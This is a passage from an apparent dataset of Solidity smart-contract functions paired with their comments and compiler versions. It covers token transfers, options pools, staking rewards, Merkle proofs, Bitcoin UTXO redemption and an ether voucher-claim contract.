tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);\r\n\r\n // exchange tokens\r\n tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);\r\n tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);\r\n\r\n // update dividend trackers\r\n payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);\r\n payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);\r\n\r\n // disperse dividends among holders\r\n profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);\r\n\r\n // fire event\r\n emit Transfer(_customerAddress, _toAddress, _taxedTokens);\r\n\r\n //Stats\r\n stats[_customerAddress].xTransferredTokens += 1;\r\n stats[_customerAddress].transferredTokens += _amountOfTokens;\r\n stats[_toAddress].receivedTokens += _taxedTokens;\r\n stats[_toAddress].xReceivedTokens += 1;\r\n\r\n // ERC20\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/// @dev Stats of any single address", "function_code": "function statsOf(address _customerAddress) public view returns (uint256[14]){\r\n Stats memory s = stats[_customerAddress];\r\n uint256[14] memory statArray = [s.invested, s.withdrawn, s.rewarded, s.contributed, s.transferredTokens, s.receivedTokens, s.xInvested, s.xRewarded, s.xContributed, s.xWithdrawn, s.xTransferredTokens, s.xReceivedTokens, s.reinvested, s.xReinvested];\r\n return statArray;\r\n }", "version": "0.4.24"} {"comment": "/*\r\n Can only be run once per day from the caller avoid bots\r\n Minimum of 100 P6\r\n Minimum of 5 P4RTY + amount minted based on dividends processed in 24 hour period\r\n */", "function_code": "function processRewards() public teamPlayer launched {\r\n require(tokenBalanceLedger_[msg.sender] >= stakingRequirement, \"Must meet staking requirement\");\r\n\r\n\r\n uint256 count = 0;\r\n address _customer;\r\n\r\n while (available() && count < maxProcessingCap) {\r\n\r\n //If this queue has already been processed in this block exit without altering the queue\r\n _customer = peek();\r\n\r\n if (bot[_customer].lastBlock == block.number){\r\n break;\r\n }\r\n\r\n //Pop\r\n dequeue();\r\n\r\n\r\n //Update tracking\r\n bot[_customer].lastBlock = block.number;\r\n bot[_customer].queued = false;\r\n\r\n //User could have deactivated while still being queued\r\n if (bot[_customer].active) {\r\n\r\n //Reinvest divs; be gas efficient\r\n if (totalDividends(_customer, true) > botThreshold) {\r\n\r\n //No bankroll reinvest when processing the queue\r\n bankrollEnabled = false;\r\n reinvestFor(_customer);\r\n bankrollEnabled = true;\r\n }\r\n\r\n\r\n enqueue(_customer);\r\n bot[_customer].queued = true;\r\n }\r\n\r\n count++;\r\n }\r\n\r\n lastReward[msg.sender] = now;\r\n reinvestFor(msg.sender);\r\n }", "version": "0.4.24"} {"comment": "// calculate average price", "function_code": "function update() external {\n (uint256[2] memory priceCumulative, uint256 blockTimestamp) =\n _currentCumulativePrices();\n\n if (blockTimestamp - pricesBlockTimestampLast > 0) {\n // get the balances between now and the last price cumulative snapshot\n uint256[2] memory twapBalances =\n IMetaPool(pool).get_twap_balances(\n priceCumulativeLast,\n priceCumulative,\n blockTimestamp - pricesBlockTimestampLast\n );\n\n // price to exchange amounIn uAD to 3CRV based on TWAP\n price0Average = IMetaPool(pool).get_dy(0, 1, 1 ether, twapBalances);\n // price to exchange amounIn 3CRV to uAD based on TWAP\n price1Average = IMetaPool(pool).get_dy(1, 0, 1 ether, twapBalances);\n // we update the priceCumulative\n priceCumulativeLast = priceCumulative;\n pricesBlockTimestampLast = blockTimestamp;\n }\n }", "version": "0.8.3"} {"comment": "// ------------------------\n// Address 0x000000000000000000000000000000000000dEaD represents Ethereums global token burn address\n// ------------------------", "function_code": "function transfer(address to, uint tokens) public returns (bool success)\r\n {\r\n require(tokens < ((balances[msg.sender] * buyLimitNum) / buyLimitDen), \"You have exceeded to buy limit, try reducing the amount you're trying to buy.\");\r\n balances[msg.sender] = safeSub(balances[msg.sender], tokens);\r\n balances[to] = safeAdd(balances[to], tokens - ((tokens * burnPRCNTNum) / burnPRCNTDen));\r\n \r\n _burn(burnaddress, tokens);\r\n emit Transfer(msg.sender, to, tokens - ((tokens * burnPRCNTNum) / burnPRCNTDen));\r\n emit Transfer(msg.sender, burnaddress, ((tokens * burnPRCNTNum) / burnPRCNTDen));\r\n return true;\r\n }", "version": "0.5.17"} {"comment": "/*\r\n * @nonce Calls by HegicPutOptions to unlock funds\r\n * @param amount Amount of funds that should be unlocked in an expired option\r\n */", "function_code": "function unlock(uint256 amount) external override onlyOwner {\r\n require(lockedAmount >= amount, \"Pool Error: You are trying to unlock more funds than have been locked for your contract. Please lower the amount.\");\r\n lockedAmount = lockedAmount.sub(amount);\r\n }", "version": "0.6.8"} {"comment": "/*\r\n * @nonce Calls by HegicPutOptions to unlock premium after an option expiraton\r\n * @param amount Amount of premiums that should be locked\r\n */", "function_code": "function unlockPremium(uint256 amount) external override onlyOwner {\r\n require(lockedPremium >= amount, \"Pool Error: You are trying to unlock more premiums than have been locked for the contract. Please lower the amount.\");\r\n lockedPremium = lockedPremium.sub(amount);\r\n }", "version": "0.6.8"} {"comment": "/*\r\n * @nonce calls by HegicPutOptions to unlock the premiums after an option's expiraton\r\n * @param to Provider\r\n * @param amount Amount of premiums that should be unlocked\r\n */", "function_code": "function send(address payable to, uint256 amount)\r\n external\r\n override\r\n onlyOwner\r\n {\r\n require(to != address(0));\r\n require(lockedAmount >= amount, \"Pool Error: You are trying to unlock more premiums than have been locked for the contract. Please lower the amount.\");\r\n require(token.transfer(to, amount), \"Token transfer error: Please lower the amount of premiums that you want to send.\");\r\n }", "version": "0.6.8"} {"comment": "/*\r\n * @nonce A provider supplies DAI to the pool and receives writeDAI tokens\r\n * @param amount Provided tokens\r\n * @param minMint Minimum amount of tokens that should be received by a provider.\r\n Calling the provide function will require the minimum amount of tokens to be minted.\r\n The actual amount that will be minted could vary but can only be higher (not lower) than the minimum value.\r\n * @return mint Amount of tokens to be received\r\n */", "function_code": "function provide(uint256 amount, uint256 minMint) external returns (uint256 mint) {\r\n lastProvideTimestamp[msg.sender] = now;\r\n uint supply = totalSupply();\r\n uint balance = totalBalance();\r\n if (supply > 0 && balance > 0)\r\n mint = amount.mul(supply).div(balance);\r\n else\r\n mint = amount.mul(1000);\r\n\r\n require(mint >= minMint, \"Pool: Mint limit is too large\");\r\n require(mint > 0, \"Pool: Amount is too small\");\r\n _mint(msg.sender, mint);\r\n emit Provide(msg.sender, amount, mint);\r\n\r\n require(\r\n token.transferFrom(msg.sender, address(this), amount),\r\n \"Token transfer error: Please lower the amount of premiums that you want to send.\"\r\n );\r\n }", "version": "0.6.8"} {"comment": "/*\r\n * @nonce Provider burns writeDAI and receives DAI from the pool\r\n * @param amount Amount of DAI to receive\r\n * @param maxBurn Maximum amount of tokens that can be burned\r\n * @return mint Amount of tokens to be burnt\r\n */", "function_code": "function withdraw(uint256 amount, uint256 maxBurn) external returns (uint256 burn) {\r\n require(\r\n lastProvideTimestamp[msg.sender].add(lockupPeriod) <= now,\r\n \"Pool: Withdrawal is locked up\"\r\n );\r\n require(\r\n amount <= availableBalance(),\r\n \"Pool Error: You are trying to unlock more funds than have been locked for your contract. Please lower the amount.\"\r\n );\r\n burn = amount.mul(totalSupply()).div(totalBalance());\r\n\r\n require(burn <= maxBurn, \"Pool: Burn limit is too small\");\r\n require(burn <= balanceOf(msg.sender), \"Pool: Amount is too large\");\r\n require(burn > 0, \"Pool: Amount is too small\");\r\n\r\n _burn(msg.sender, burn);\r\n emit Withdraw(msg.sender, amount, burn);\r\n require(token.transfer(msg.sender, amount), \"Insufficient funds\");\r\n }", "version": "0.6.8"} {"comment": "/**\r\n * @notice Creates a new option\r\n * @param period Option period in seconds (1 days <= period <= 4 weeks)\r\n * @param amount Option amount\r\n * @param strike Strike price of the option\r\n * @return optionID Created option's ID\r\n */", "function_code": "function create(\r\n uint256 period,\r\n uint256 amount,\r\n uint256 strike\r\n ) external payable returns (uint256 optionID) {\r\n (uint256 total, uint256 settlementFee, , ) = fees(\r\n period,\r\n amount,\r\n strike\r\n );\r\n uint256 strikeAmount = strike.mul(amount) / PRICE_DECIMALS;\r\n\r\n require(strikeAmount > 0, \"Amount is too small\");\r\n require(settlementFee < total, \"Premium is too small\");\r\n require(period >= 1 days, \"Period is too short\");\r\n require(period <= 4 weeks, \"Period is too long\");\r\n require(msg.value == total, \"Wrong value\");\r\n\r\n uint256 premium = sendPremium(total.sub(settlementFee));\r\n optionID = options.length;\r\n options.push(\r\n Option(\r\n State.Active,\r\n msg.sender,\r\n strike,\r\n amount,\r\n premium,\r\n now + period\r\n )\r\n );\r\n\r\n emit Create(optionID, msg.sender, settlementFee, total);\r\n lockFunds(options[optionID]);\r\n settlementFeeRecipient.transfer(settlementFee);\r\n }", "version": "0.6.8"} {"comment": "/**\r\n * @notice Exercises an active option\r\n * @param optionID ID of your option\r\n */", "function_code": "function exercise(uint256 optionID) external {\r\n Option storage option = options[optionID];\r\n\r\n require(option.expiration >= now, \"Option has expired\");\r\n require(option.holder == msg.sender, \"Wrong msg.sender\");\r\n require(option.state == State.Active, \"Wrong state\");\r\n\r\n option.state = State.Exercised;\r\n uint256 profit = payProfit(option);\r\n\r\n emit Exercise(optionID, profit);\r\n }", "version": "0.6.8"} {"comment": "/**\r\n * @notice Used for getting the actual options prices\r\n * @param period Option period in seconds (1 days <= period <= 4 weeks)\r\n * @param amount Option amount\r\n * @param strike Strike price of the option\r\n * @return total Total price to be paid\r\n * @return settlementFee Amount to be distributed to the HEGIC token holders\r\n * @return strikeFee Amount that covers the price difference in the ITM options\r\n * @return periodFee Option period fee amount\r\n */", "function_code": "function fees(\r\n uint256 period,\r\n uint256 amount,\r\n uint256 strike\r\n )\r\n public\r\n view\r\n returns (\r\n uint256 total,\r\n uint256 settlementFee,\r\n uint256 strikeFee,\r\n uint256 periodFee\r\n )\r\n {\r\n uint256 currentPrice = uint256(priceProvider.latestAnswer());\r\n settlementFee = getSettlementFee(amount);\r\n periodFee = getPeriodFee(amount, period, strike, currentPrice);\r\n strikeFee = getStrikeFee(amount, strike, currentPrice);\r\n total = periodFee.add(strikeFee);\r\n }", "version": "0.6.8"} {"comment": "/**\r\n * @notice Unlock funds locked in the expired options\r\n * @param optionID ID of the option\r\n */", "function_code": "function unlock(uint256 optionID) public {\r\n Option storage option = options[optionID];\r\n require(option.expiration < now, \"Option has not expired yet\");\r\n require(option.state == State.Active, \"Option is not active\");\r\n option.state = State.Expired;\r\n unlockFunds(option);\r\n emit Expire(optionID, option.premium);\r\n }", "version": "0.6.8"} {"comment": "/**\r\n * @notice Calculates periodFee\r\n * @param amount Option amount\r\n * @param period Option period in seconds (1 days <= period <= 4 weeks)\r\n * @param strike Strike price of the option\r\n * @param currentPrice Current price of ETH\r\n * @return fee Period fee amount\r\n *\r\n * amount < 1e30 |\r\n * impliedVolRate < 1e10| => amount * impliedVolRate * strike < 1e60 < 2^uint256\r\n * strike < 1e20 ($1T) |\r\n *\r\n * in case amount * impliedVolRate * strike >= 2^256\r\n * transaction will be reverted by the SafeMath\r\n */", "function_code": "function getPeriodFee(\r\n uint256 amount,\r\n uint256 period,\r\n uint256 strike,\r\n uint256 currentPrice\r\n ) internal view returns (uint256 fee) {\r\n if (optionType == OptionType.Put)\r\n return amount\r\n .mul(sqrt(period))\r\n .mul(impliedVolRate)\r\n .mul(strike)\r\n .div(currentPrice)\r\n .div(PRICE_DECIMALS);\r\n else\r\n return amount\r\n .mul(sqrt(period))\r\n .mul(impliedVolRate)\r\n .mul(currentPrice)\r\n .div(strike)\r\n .div(PRICE_DECIMALS);\r\n }", "version": "0.6.8"} {"comment": "/**\r\n * @notice Calculates strikeFee\r\n * @param amount Option amount\r\n * @param strike Strike price of the option\r\n * @param currentPrice Current price of ETH\r\n * @return fee Strike fee amount\r\n */", "function_code": "function getStrikeFee(\r\n uint256 amount,\r\n uint256 strike,\r\n uint256 currentPrice\r\n ) internal view returns (uint256 fee) {\r\n if (strike > currentPrice && optionType == OptionType.Put)\r\n return strike.sub(currentPrice).mul(amount).div(currentPrice);\r\n if (strike < currentPrice && optionType == OptionType.Call)\r\n return currentPrice.sub(strike).mul(amount).div(currentPrice);\r\n return 0;\r\n }", "version": "0.6.8"} {"comment": "//user is buying SVC", "function_code": "function buy() payable public returns (uint256 amount){\r\n if(!usersCanTrade && !canTrade[msg.sender]) revert();\r\n amount = msg.value * buyPrice; // calculates the amount\r\n\r\n require(balanceOf[this] >= amount); // checks if it has enough to sell\r\n balanceOf[msg.sender] += amount; // adds the amount to buyer's balance\r\n balanceOf[this] -= amount; // subtracts amount from seller's balance\r\n Transfer(this, msg.sender, amount); // execute an event reflecting the change\r\n return amount; // ends function and returns\r\n }", "version": "0.4.19"} {"comment": "//user is selling us SVC, we are selling eth to the user", "function_code": "function sell(uint256 amount) public returns (uint revenue){\r\n require(!frozen[msg.sender]);\r\n if(!usersCanTrade && !canTrade[msg.sender]) {\r\n require(minBalanceForAccounts > amount/sellPrice);\r\n }\r\n require(balanceOf[msg.sender] >= amount); // checks if the sender has enough to sell\r\n balanceOf[this] += amount; // adds the amount to owner's balance\r\n balanceOf[msg.sender] -= amount; // subtracts the amount from seller's balance\r\n revenue = amount / sellPrice;\r\n require(msg.sender.send(revenue)); // sends ether to the seller: it's important to do this last to prevent recursion attacks\r\n Transfer(msg.sender, this, amount); // executes an event reflecting on the change\r\n return revenue; // ends function and returns\r\n }", "version": "0.4.19"} {"comment": "/*\r\n * @dev Verifies a Merkle proof proving the existence of a leaf in a Merkle tree. Assumes that each pair of leaves\r\n * and each pair of pre-images is sorted.\r\n * @param _proof Merkle proof containing sibling hashes on the branch from the leaf to the root of the Merkle tree\r\n * @param _root Merkle root\r\n * @param _leaf Leaf of Merkle tree\r\n */", "function_code": "function verifyProof(bytes _proof, bytes32 _root, bytes32 _leaf) public pure returns (bool) {\r\n // Check if proof length is a multiple of 32\r\n if (_proof.length % 32 != 0) return false;\r\n\r\n bytes32 proofElement;\r\n bytes32 computedHash = _leaf;\r\n\r\n for (uint256 i = 32; i <= _proof.length; i += 32) {\r\n assembly {\r\n // Load the current element of the proof\r\n proofElement := mload(add(_proof, i))\r\n }\r\n\r\n if (computedHash < proofElement) {\r\n // Hash(current computed hash + current element of the proof)\r\n computedHash = keccak256(computedHash, proofElement);\r\n } else {\r\n // Hash(current element of the proof + current computed hash)\r\n computedHash = keccak256(proofElement, computedHash);\r\n }\r\n }\r\n\r\n // Check if the computed hash (root) is equal to the provided root\r\n return computedHash == _root;\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * @dev Extract a bytes32 subarray from an arbitrary length bytes array.\r\n * @param data Bytes array from which to extract the subarray\r\n * @param pos Starting position from which to copy\r\n * @return Extracted length 32 byte array\r\n */", "function_code": "function extract(bytes data, uint pos) private pure returns (bytes32 result) { \r\n for (uint i = 0; i < 32; i++) {\r\n result ^= (bytes32(0xff00000000000000000000000000000000000000000000000000000000000000) & data[i + pos]) >> (i * 8);\r\n }\r\n return result;\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * @dev Calculate the Bitcoin-style address associated with an ECDSA public key\r\n * @param pubKey ECDSA public key to convert\r\n * @param isCompressed Whether or not the Bitcoin address was generated from a compressed key\r\n * @return Raw Bitcoin address (no base58-check encoding)\r\n */", "function_code": "function pubKeyToBitcoinAddress(bytes pubKey, bool isCompressed) public pure returns (bytes20) {\r\n /* Helpful references:\r\n - https://en.bitcoin.it/wiki/Technical_background_of_version_1_Bitcoin_addresses \r\n - https://github.com/cryptocoinjs/ecurve/blob/master/lib/point.js\r\n */\r\n\r\n /* x coordinate - first 32 bytes of public key */\r\n uint x = uint(extract(pubKey, 0));\r\n /* y coordinate - second 32 bytes of public key */\r\n uint y = uint(extract(pubKey, 32)); \r\n uint8 startingByte;\r\n if (isCompressed) {\r\n /* Hash the compressed public key format. */\r\n startingByte = y % 2 == 0 ? 0x02 : 0x03;\r\n return ripemd160(sha256(startingByte, x));\r\n } else {\r\n /* Hash the uncompressed public key format. */\r\n startingByte = 0x04;\r\n return ripemd160(sha256(startingByte, x, y));\r\n }\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * @dev Convenience helper function to check if a UTXO can be redeemed\r\n * @param txid Transaction hash\r\n * @param originalAddress Raw Bitcoin address (no base58-check encoding)\r\n * @param outputIndex Output index of UTXO\r\n * @param satoshis Amount of UTXO in satoshis\r\n * @param proof Merkle tree proof\r\n * @return Whether or not the UTXO can be redeemed\r\n */", "function_code": "function canRedeemUTXO(bytes32 txid, bytes20 originalAddress, uint8 outputIndex, uint satoshis, bytes proof) public constant returns (bool) {\r\n /* Calculate the hash of the Merkle leaf associated with this UTXO. */\r\n bytes32 merkleLeafHash = keccak256(txid, originalAddress, outputIndex, satoshis);\r\n \r\n /* Verify the proof. */\r\n return canRedeemUTXOHash(merkleLeafHash, proof);\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * @dev Verify that a UTXO with the specified Merkle leaf hash can be redeemed\r\n * @param merkleLeafHash Merkle tree hash of the UTXO to be checked\r\n * @param proof Merkle tree proof\r\n * @return Whether or not the UTXO with the specified hash can be redeemed\r\n */", "function_code": "function canRedeemUTXOHash(bytes32 merkleLeafHash, bytes proof) public constant returns (bool) {\r\n /* Check that the UTXO has not yet been redeemed and that it exists in the Merkle tree. */\r\n return((redeemedUTXOs[merkleLeafHash] == false) && verifyProof(proof, merkleLeafHash));\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * @dev Initialize the Wyvern token\r\n * @param merkleRoot Merkle tree root of the UTXO set\r\n * @param totalUtxoAmount Total satoshis of the UTXO set\r\n */", "function_code": "function WyvernToken (bytes32 merkleRoot, uint totalUtxoAmount) public {\r\n /* Total number of tokens that can be redeemed from UTXOs. */\r\n uint utxoTokens = SATS_TO_TOKENS * totalUtxoAmount;\r\n\r\n /* Configure DelayedReleaseToken. */\r\n temporaryAdmin = msg.sender;\r\n numberOfDelayedTokens = MINT_AMOUNT - utxoTokens;\r\n\r\n /* Configure UTXORedeemableToken. */\r\n rootUTXOMerkleTreeHash = merkleRoot;\r\n totalSupply = MINT_AMOUNT;\r\n maximumRedeemable = utxoTokens;\r\n multiplier = SATS_TO_TOKENS;\r\n }", "version": "0.4.18"} {"comment": "// Guardian state", "function_code": "function _getGuardianStakingRewards(address guardian, bool inCommittee, bool inCommitteeAfter, uint256 guardianWeight, uint256 guardianDelegatedStake, StakingRewardsState memory _stakingRewardsState, Settings memory _settings) private view returns (GuardianStakingRewards memory guardianStakingRewards, uint256 rewardsAdded) {\n guardianStakingRewards = guardiansStakingRewards[guardian];\n\n if (inCommittee) {\n uint256 totalRewards = uint256(_stakingRewardsState.stakingRewardsPerWeight)\n .sub(guardianStakingRewards.lastStakingRewardsPerWeight)\n .mul(guardianWeight);\n\n uint256 delegatorRewardsRatioPercentMille = _getGuardianDelegatorsStakingRewardsPercentMille(guardian, _settings);\n\n uint256 delegatorRewardsPerTokenDelta = guardianDelegatedStake == 0 ? 0 : totalRewards\n .div(guardianDelegatedStake)\n .mul(delegatorRewardsRatioPercentMille)\n .div(PERCENT_MILLIE_BASE);\n\n uint256 guardianCutPercentMille = PERCENT_MILLIE_BASE.sub(delegatorRewardsRatioPercentMille);\n\n rewardsAdded = totalRewards\n .mul(guardianCutPercentMille)\n .div(PERCENT_MILLIE_BASE)\n .div(TOKEN_BASE);\n\n guardianStakingRewards.delegatorRewardsPerToken = guardianStakingRewards.delegatorRewardsPerToken.add(delegatorRewardsPerTokenDelta);\n guardianStakingRewards.balance = guardianStakingRewards.balance.add(rewardsAdded);\n }\n\n guardianStakingRewards.lastStakingRewardsPerWeight = inCommitteeAfter ? _stakingRewardsState.stakingRewardsPerWeight : 0;\n }", "version": "0.6.12"} {"comment": "// Delegator state", "function_code": "function _getDelegatorStakingRewards(address delegator, uint256 delegatorStake, GuardianStakingRewards memory guardianStakingRewards) private view returns (DelegatorStakingRewards memory delegatorStakingRewards, uint256 delegatorRewardsAdded) {\n delegatorStakingRewards = delegatorsStakingRewards[delegator];\n\n delegatorRewardsAdded = uint256(guardianStakingRewards.delegatorRewardsPerToken)\n .sub(delegatorStakingRewards.lastDelegatorRewardsPerToken)\n .mul(delegatorStake)\n .div(TOKEN_BASE);\n\n delegatorStakingRewards.balance = delegatorStakingRewards.balance.add(delegatorRewardsAdded);\n delegatorStakingRewards.lastDelegatorRewardsPerToken = guardianStakingRewards.delegatorRewardsPerToken;\n }", "version": "0.6.12"} {"comment": "// Governance and misc.", "function_code": "function _setAnnualStakingRewardsRate(uint256 annualRateInPercentMille, uint256 annualCap) private {\n require(uint256(uint96(annualCap)) == annualCap, \"annualCap must fit in uint96\");\n\n Settings memory _settings = settings;\n _settings.annualRateInPercentMille = uint32(annualRateInPercentMille);\n _settings.annualCap = uint96(annualCap);\n settings = _settings;\n\n emit AnnualStakingRewardsRateChanged(annualRateInPercentMille, annualCap);\n }", "version": "0.6.12"} {"comment": "// ------------------------------------------------------------------------\n// Send ETH to get 1PL tokens\n// ------------------------------------------------------------------------", "function_code": "function () public payable {\r\n require(now >= startDate && now <= endDate);\r\n uint256 weiAmount = msg.value;\r\n uint256 tokens = _getTokenAmount(weiAmount);\r\n if(tokens >= bonus1 && tokens < bonus2){\r\n tokens = safeMul(tokens, 105);\r\n tokens = safeDiv(tokens, 100);\r\n }\r\n if(tokens >= bonus2 && tokens < bonus3){\r\n tokens = safeMul(tokens, 110);\r\n tokens = safeDiv(tokens, 100);\r\n }\r\n if(tokens >= bonus3 && tokens < bonus4){\r\n tokens = safeMul(tokens, 115);\r\n tokens = safeDiv(tokens, 100);\r\n }\r\n if(tokens >= bonus4 && tokens < bonus5){\r\n tokens = safeMul(tokens, 120);\r\n tokens = safeDiv(tokens, 100);\r\n }\r\n if(tokens >= bonus5 && tokens < bonus6){\r\n tokens = safeMul(tokens, 130);\r\n tokens = safeDiv(tokens, 100);\r\n }\r\n if(tokens >= bonus6){\r\n tokens = safeMul(tokens, 140);\r\n tokens = safeDiv(tokens, 100);\r\n }\r\n require(_maxSupply >= safeAdd(_totalSupply, tokens), \"Maximum token amount reached. No more tokens to sell\");\r\n balances[msg.sender] = safeAdd(balances[msg.sender], tokens);\r\n _totalSupply = safeAdd(_totalSupply, tokens);\r\n Transfer(address(0), msg.sender, tokens);\r\n owner.transfer(msg.value);\r\n }", "version": "0.4.24"} {"comment": "/***********************************|\n | Only Admin/DAO |\n |__________________________________*/", "function_code": "function addLeptonType(\n string calldata tokenUri,\n uint256 price,\n uint32 supply,\n uint32 multiplier,\n uint32 bonus\n )\n external\n virtual\n onlyOwner\n {\n _maxSupply = _maxSupply.add(uint256(supply));\n\n Classification memory lepton = Classification({\n tokenUri: tokenUri,\n price: price,\n supply: supply,\n multiplier: multiplier,\n bonus: bonus,\n _upperBounds: uint128(_maxSupply)\n });\n _leptonTypes.push(lepton);\n\n emit LeptonTypeAdded(tokenUri, price, supply, multiplier, bonus, _maxSupply);\n }", "version": "0.6.12"} {"comment": "/**\n * @dev See {IAdminControl-getAdmins}.\n */", "function_code": "function getAdmins() external view override returns (address[] memory admins) {\n admins = new address[](_admins.length());\n for (uint i = 0; i < _admins.length(); i++) {\n admins[i] = _admins.at(i);\n }\n return admins;\n }", "version": "0.8.0"} {"comment": "/**\n * @notice Create a new token and return it to the caller.\n * @dev The caller will become the only minter and burner and the new owner capable of assigning the roles.\n * @param tokenName used to describe the new token.\n * @param tokenSymbol short ticker abbreviation of the name. Ideally < 5 chars.\n * @param tokenDecimals used to define the precision used in the token's numerical representation.\n * @return newToken an instance of the newly created token interface.\n */", "function_code": "function createToken(\n string calldata tokenName,\n string calldata tokenSymbol,\n uint8 tokenDecimals\n ) external nonReentrant() returns (ExpandedIERC20 newToken) {\n SyntheticToken mintableToken = new SyntheticToken(tokenName, tokenSymbol, tokenDecimals);\n mintableToken.addMinter(msg.sender);\n mintableToken.addBurner(msg.sender);\n mintableToken.resetOwner(msg.sender);\n newToken = ExpandedIERC20(address(mintableToken));\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Migrates the tokenHolder's old tokens to new tokens.\n * @dev This function can only be called once per `tokenHolder`. Anyone can call this method\n * on behalf of any other token holder since there is no disadvantage to receiving the tokens earlier.\n * @param tokenHolder address of the token holder to migrate.\n */", "function_code": "function migrateTokens(address tokenHolder) external {\n require(!hasMigrated[tokenHolder], \"Already migrated tokens\");\n hasMigrated[tokenHolder] = true;\n\n FixedPoint.Unsigned memory oldBalance = FixedPoint.Unsigned(oldToken.balanceOfAt(tokenHolder, snapshotId));\n\n if (!oldBalance.isGreaterThan(0)) {\n return;\n }\n\n FixedPoint.Unsigned memory newBalance = oldBalance.div(rate);\n require(newToken.mint(tokenHolder, newBalance.rawValue), \"Mint failed\");\n }", "version": "0.6.12"} {"comment": "// build contract", "function_code": "function PPBC_Ether_Claim(){\r\n ppbc = msg.sender;\r\n deposits_refunded = false;\r\n num_claimed = 0;\r\n valid_voucher_code[0x99fc71fa477d1d3e6b6c3ed2631188e045b7f575eac394e50d0d9f182d3b0145] = 110.12 ether; total_claim_codes++;\r\n valid_voucher_code[0x8b4f72e27b2a84a30fe20b0ee5647e3ca5156e1cb0d980c35c657aa859b03183] = 53.2535 ether; total_claim_codes++;\r\n valid_voucher_code[0xe7ac3e31f32c5e232eb08a8f978c7e4c4845c44eb9fa36e89b91fc15eedf8ffb] = 151 ether; total_claim_codes++;\r\n valid_voucher_code[0xc18494ff224d767c15c62993a1c28e5a1dc17d7c41abab515d4fcce2bd6f629d] = 63.22342 ether; total_claim_codes++;\r\n valid_voucher_code[0x5cdb60c9e999a510d191cf427c9995d6ad3120a6b44afcb922149d275afc8ec4] = 101 ether; total_claim_codes++;\r\n valid_voucher_code[0x5fb7aed108f910cc73b3e10ceb8c73f90f8d6eff61cda5f43d47f7bec9070af4] = 16.3 ether; total_claim_codes++;\r\n valid_voucher_code[0x571a888f66f4d74442733441d62a92284f1c11de57198decf9d4c244fb558f29] = 424 ether; total_claim_codes++;\r\n valid_voucher_code[0x7123fa994a2990c5231d35cb11901167704ab19617fcbc04b93c45cf88b30e94] = 36.6 ether; total_claim_codes++;\r\n valid_voucher_code[0xdac0e1457b4cf3e53e9952b1f8f3a68a0f288a7e6192314d5b19579a5266cce0] = 419.1 ether; total_claim_codes++;\r\n valid_voucher_code[0xf836a280ec6c519f6e95baec2caee1ba4e4d1347f81d4758421272b81c4a36cb] = 86.44 ether; total_claim_codes++;\r\n valid_voucher_code[0x5470e8b8b149aca84ee799f6fd1a6bf885267a1f7c88c372560b28180e2cf056] = 92 ether; total_claim_codes++;\r\n valid_voucher_code[0x7f52b6f587c87240d471d6fcda1bb3c10c004771c1572443134fd6756c001c9a] = 124.2 ether; total_claim_codes++;\r\n valid_voucher_code[0x5d435968b687edc305c3adc29523aba1128bd9acd2c40ae2c9835f2e268522e1] = 95.102 ether; total_claim_codes++;\r\n }", "version": "0.4.6"} {"comment": "// function to register claim\n//", "function_code": "function register_claim(string password) payable {\r\n // claim deposit 50 ether (returned with claim, used to prevent \"brute force\" password cracking attempts) \r\n if (msg.value != 50 ether || valid_voucher_code[sha3(password)] == 0) return; // if user does not provide the right password, the deposit is being kept.\r\n \r\n // dont claim twice either, and check if deposits have already been refunded -- > throw\r\n if (redeemed[sha3(password)] || deposits_refunded ) throw; \r\n \r\n // if we get here the user has provided a valid claim code, and paid deposit\r\n num_claimed++;\r\n redeemed[sha3(password)] = true;\r\n who_claimed[sha3(password)] = msg.sender;\r\n valid_voucher_code[sha3(password)] += 50 ether; // add the deposit paid to the claim\r\n claimers[num_claimed] = sha3(password); \r\n }", "version": "0.4.6"} {"comment": "// Refund Step 1: this function will return the deposits paid first\n// (this step is separate to avoid issues in case the claim refund amounts haven't been loaded yet,\n// so at least the deposits won't get stuck)", "function_code": "function refund_deposits(string password){ //anyone with a code can call this\r\n if (deposits_refunded) throw; // already refunded\r\n if (valid_voucher_code[sha3(password)] == 0) throw; \r\n \r\n // wait till everyone has claimed or claim period ended, and refund-pool has been loaded\r\n if (num_claimed >= total_claim_codes || block.number >= 2850000 ){ // ~ 21/12/2017\r\n // first refund the deposits\r\n for (uint256 index = 1; index <= num_claimed; index++){\r\n bytes32 claimcode = claimers[index];\r\n address receiver = who_claimed[claimcode];\r\n if (!receiver.send(50 ether)) throw; // refund deposit, or throw in case of any error\r\n valid_voucher_code[claimcode] -= 50 ether; // deduct the deposit paid from the claim\r\n }\r\n deposits_refunded = true; // can only use this function once\r\n }\r\n else throw;\r\n //\r\n }", "version": "0.4.6"} {"comment": "// Refund Step 2: this function will refund actual claim amount. But wait for our notification\n// before calling this function (you can check the contract balance after deposit return)", "function_code": "function refund_claims(string password){ //anyone with a code can call this\r\n if (!deposits_refunded) throw; // first step 1 (refund_deposits) has to be called\r\n if (valid_voucher_code[sha3(password)] == 0) throw; \r\n \r\n for (uint256 index = 1; index <= num_claimed; index++){\r\n bytes32 claimcode = claimers[index];\r\n address receiver = who_claimed[claimcode];\r\n uint256 refund_amount = valid_voucher_code[claimcode];\r\n \r\n // only refund claims if there is enough left in the claim bucket\r\n \r\n if (this.balance >= refund_amount){\r\n if (!receiver.send(refund_amount)) throw; // refund deposit, or throw in case of any error\r\n valid_voucher_code[claimcode] = 0; // deduct the deposit paid from the claim\r\n }\r\n \r\n }\r\n }", "version": "0.4.6"} {"comment": "// Enqueues a request (if a request isn't already present) for the given (identifier, time) pair.", "function_code": "function requestPrice(bytes32 identifier, uint256 time) public override {\n require(_getIdentifierWhitelist().isIdentifierSupported(identifier));\n Price storage lookup = verifiedPrices[identifier][time];\n if (!lookup.isAvailable && !queryIndices[identifier][time].isValid) {\n // New query, 